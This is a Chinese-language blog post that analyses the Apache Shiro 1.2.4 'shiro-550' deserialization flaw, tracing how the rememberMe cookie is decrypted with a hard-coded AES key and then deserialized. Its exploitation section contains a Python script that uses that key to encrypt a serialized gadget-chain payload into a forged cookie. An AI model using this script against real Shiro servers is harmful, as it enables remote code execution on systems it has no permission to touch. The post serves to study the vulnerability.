shiro-550
follycat Lv3

环境配置

  • jdk8u65
  • Tomcat8
  • shiro 1.2.4

漏洞影响版本:Shiro <= 1.2.4

环境配置参考shiro

注意事项:可以将p神项目中的pom.xml更改为1.8版本,要不然可能跑不起来。

shiro-550 漏洞分析

当rememberMe字段开启时,如果登录成功,返回包将会返回Set-Cookie,其中设置rememberMe字段,并且在之后的所有请求的cookie中都会存在rememberMe=字段,可以通过该字段进行反序列化, 从而 getshell。

造成这个漏洞的原因是因为在Shiro1.2.4 及之前的版本中,AES加密的密钥为硬编码在代码里,因此可以伪造rememberMe的加密。

shiro的鉴权功能默认在拦截器中会进行调用,由于ShiroFilter的匹配规则是/*,所以所有的请求都会被他处理,并进行权限校验,具体流程可以参考:https://www.cnblogs.com/77cxw/p/18092865

这里从DefultSecurityManager#createSubject开始分析,这个方法用于创建一个完整的用户主体对象,并且对接受的请求做了一系列操作( 如:复制上下文、处理会话和身份信息等),在处理身份信息的过程中将会触发解密以及反序列化的一系列操作。

跟进resolverPrincipals方法,这个方法拥有处理用户的身份信息,在shiro1.2.4中也就是rememberMe字段。

在resolvePrincipals中,首先获取当前上下文中已存储的身份信息,并判断是否为空,如果为空,则查找并获取之前rememberMe记住的身份信息,也就是进入getRememberedIdentity方法中。

这个方法用于判断rememberMe是否打开,如果不为空,则说明启用了rememberMe功能,继续跟进getRememberedPrincipals方法,这是一个接口方法,具体的实现方法位于org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

这个方法就是我们获取rememberMe的序列化数据,以及对其进行解密和反序列化操作的方法了,首先可以看到这个方法先从getRememberedSerializedIdentity方法中获取了序列化数据,可以跟进去瞅瞅,也就是org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity这个类继承了AbstractRememberMeManager类,从而实现了getRememberedSerializedIdentity方法。

这个类的主要作用就是获取Cookie中的rememberMe的值,并返回其base64解密后的结果,回到getRememberedPrincipals方法中,在获取到了序列化数据之后,如果不为空,就会进入convertBytesToPrincipals方法中对其进行解密和反序列化操作,也就是decrypt()和deserialize()

decrypt()解密

分析解密的主要原因就是,我们需要伪造一个Cookie值,因此需要获得AES解密的密钥。

进入decrypt()方法,可以看到其解密操作是cipherService.decrypt方法,这个方法获取的第二个参数就是密钥,也就是getDecryptionCipherKey()方法返回的数据。

跟进后发现其返回decryptionCipherKey这个参数,赋值的方法就是下面的setDecryptionCipherKey方法

查找谁调用了这个方法,从而寻找密钥的值,找到setCipherKey方法。

继续查找谁调用了这个方法。

找到AbstractRememberMeManager,并给了一个固定的参数,这个参数在上面有赋值,从而得到固定的key。

deserialize()反序列化

跟进到deserialize()方法里,可以发现这是一个接口,查看实现方法有哪些。

可以找到shiro包里的deserial()方法,其中调用了readObject(),所以存在反序列化漏洞。

加密过程

加密过程通过调试来进行分析,将断点打在onSuccessfulLogin中

跟进到rememberIdentity方法里,这里用于用户名赋值以及保存。

继续跟进到convertPrincipalsToBytes,这里进行了数据序列化操作,以及加密操作。

加密操作和解密是差不多的,进入encrypt()

看到getEncryptionCipherKey()中,继续跟进就可以找到调用的常量和之前的解密的一样。

shiro-550漏洞利用

加密

这里直接使用Drunkbaby师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

CC11

用之前的链子就行,生成ser.bin然后加密。

CB1

cb链有版本问题,之前用的是1.9.2的,shiro自带的是1.8.3的,更改一下版本就可以了

#参考文章
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#%E9%80%9A%E8%BF%87-CC11-%E9%93%BE%E6%94%BB%E5%87%BB

https://www.cnblogs.com/77cxw/p/18092865

https://y0n3er.github.io/2023/07/Java%E5%AD%A6%E4%B9%A0%E4%B9%8BShiro550/

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View